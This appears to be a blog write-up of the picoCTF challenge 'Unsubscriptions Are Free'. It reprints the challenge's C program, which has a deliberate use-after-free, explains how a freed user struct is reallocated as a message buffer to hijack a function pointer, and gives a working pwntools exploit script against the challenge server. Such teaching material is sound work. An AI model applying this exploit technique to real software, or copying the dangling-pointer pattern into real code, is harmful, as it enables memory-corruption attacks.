Unsubscriptions Are Free

Introduction:

Pico CTF’s Unsubscriptions Are Free challenge drives to learn about methods of binary exploitation outside of buffer overflow attacks (like our previous challenges). Initially, I wasn’t entirely sure what the topic of the challenge was and went in a bit blind, other than the hint that directs us to a slide deck about heap exploits, and after finishing the challenge, I learned that it was a hidden hint. In the challenge title the U, A, and F are all capitalized, and after a little googling I found that UAF stands for use-after-free which is the vulnerability that we will be learning about!

The Challenge:

The challenge itself doesn’t give us much to work with, just that the program that we will be pwning has to do with a spaghetti-eating streaming challenge? If you look at the hint, it links to some very useful slides that discuss heap exploits, so make sure to read those!

The Code:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
	uintptr_t (*whatToDo)();
	char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
 	char buf[FLAG_BUFFER];
 	FILE *f = fopen("flag.txt","r");
 	fgets(buf,FLAG_BUFFER,f);
 	fprintf(stdout,"%s\n",buf);
 	fflush(stdout);
}

char * getsline(void) {
	getchar();
	char * line = malloc(100), * linep = line;
	size_t lenmax = 100, len = lenmax;
	int c;
	if(line == NULL)
		return NULL;
	for(;;) {
		c = fgetc(stdin);
		if(c == EOF)
			break;
		if(--len == 0) {
			len = lenmax;
			char * linen = realloc(linep, lenmax *= 2);

			if(linen == NULL) {
				free(linep);
				return NULL;
			}
			line = linen + (line - linep);
			linep = linen;
		}

		if((*line++ = c) == '\n')
			break;
	}
	*line = '\0';
	return linep;
}

void doProcess(cmd* obj) {
	(*obj->whatToDo)();
}

void s(){
 	printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
 	puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
  	puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
	puts("Account created.");
}

void leaveMessage(){
	puts("I only read premium member messages but you can ");
	puts("try anyways:");
	char* msg = (char*)malloc(8);
	read(0, msg, 8);
}

void i(){
	char response;
  	puts("You're leaving already(Y/N)?");
	scanf(" %c", &response);
	if(toupper(response)=='Y'){
		puts("Bye!");
		free(user);
	}else{
		puts("Ok. Get premium membership please!");
	}
}

void printMenu(){
 	puts("Welcome to my stream! ^W^");
 	puts("==========================");
 	puts("(S)ubscribe to my channel");
 	puts("(I)nquire about account deletion");
 	puts("(M)ake an Twixer account");
 	puts("(P)ay for premium membership");
	puts("(l)eave a message(with or without logging in)");
	puts("(e)xit");
}

void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
	case 'S':
	if(user){
 		user->whatToDo = (void*)s;
	}else{
		puts("Not logged in!");
	}
	break;
	case 'P':
	user->whatToDo = (void*)p;
	break;
	case 'I':
 	user->whatToDo = (void*)i;
	break;
	case 'M':
 	user->whatToDo = (void*)m;
	puts("===========================");
	puts("Registration: Welcome to Twixer!");
	puts("Enter your username: ");
	user->username = getsline();
	break;
   case 'L':
	leaveMessage();
	break;
	case 'E':
	exit(0);
	default:
	puts("Invalid option!");
	exit(1);
	  break;
  }
}

int main(){
	setbuf(stdout, NULL);
	user = (cmd *)malloc(sizeof(user));
	while(1){
		printMenu();
		processInput();
		//if(user){
			doProcess(user);
		//}
	}
	return 0;
}

Starting with the main function as always, we set up how the STDOUT stream will be buffer as we have seen before, then we allocate space on the stack the sizeof a user, and define it as a cmd (both of which are defined at the top of the code). We then go into a continuous loop where we print the menu, call processinput() then interestingly we call doProcess() without checking if the user object hasn’t been freed from memory since the code to do that is commented out. The printMenu() function prints out a S.I.M.P.L.E menu for us, and processInput() calls the corresponding function based on our input. Going through in order, the s() function prints that there is a “memory leak” and prints out the address of hahaexploitgobrrr(), I’m going to guess that’s our goal… The i() function allows us to delete our account, which in turn frees the memory allocated for our user object, m() gives us the option to name our account, p() doesn’t do anything other than print text to the screen, l() gives us the option to leave a message which allocates memory on the heap for the message, and e() exits the program. The other function outside of our options that we care about is hahaexploitgobrr() which prints the flag for us.

The Vulnerability:

The use after free vulnerability (UAF) is related to the incorrect use of memory allocated on the heap. When the memory is freed, if the program does not also remove the pointer to the memory unexpected behavior could result from attempting to use that memory. In the case of the Unsubscriptions Are Free challenge, the program fails to check if the pointer to user in memory still exists before calling doProcess(). When we initially get to the menu if we select the option “i” we can free the memory allocated to user, then if we select the “l” option to leave a message the heap allocator reallocated the memory that was initially used for our user and the program interprets the string that we supplied in the message as an address to jump to, for example, if we supply “AAAA” we would see a segfault at 0x41414141. This means that we could get the address using the “s” option, then supply those bytes to call the hahaexploitgobrrr() function! Let’s see how this could be done.

The Exploit:

Here we can see the initial menu that is generated when we run the program.

When we select the S option, we get a “memory leak” which prints out our destination address, along with some garbage we don’t care about.

Now, when we select the “i” option, we are prompted to confirm that we want to remove the user, and if we do so we get the message “Bye!”, great at least the user is gone!

Now, if we are in GDB while doing the above, we can see that when we select the “L” option, and pass “cccc” then the address that we fail at is the hex representation of those characters, just as we had thought.

Exploit Code:

from pwn import * 

context.binary = ELF("./vuln")
new_address = p32(0x80487d6)

with remote("mercury.picoctf.net", 4504) as p:
    print(p.recvuntilS(b'(e)xit'))
    p.sendline(b'i') 
    print(p.recvuntilS(b"You're leaving already(Y/N)?"))
    p.sendline(b'y')
    print(p.recvuntilS(b'(e)xit'))
    p.sendline(b'l')
    print(p.recvuntilS(b'try anyways:'))
    p.recv()
    print(new_address)
    p.sendline(new_address)
    print(p.recvS())

With this very simple code we are able to exploit this vulnerability. Setting up the housekeeping first, we import our toolset from pwntools, and then set up variables to be used in the following code. Next, we set up the remote connection with the manager “with” and go through automating the process of navigating the menu. We receive the message from the process, send that we want to select the “i” option, send “y” to confirm that we want in removed, receive more text from the program, then we select the option to leave a message, and send the new_address variable, and get the flag.

Conclusion:

I had a lot of fun with this challenge. I read through the slides that were provided in the hint, as well as some videos explaining the exploit, and was able to get it pretty quickly without help related to the actual challenge itself. As I explore more challenges I am excited we bring you all more content as well. I hope that this write-up helped you learn something new. Until next time, happy hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *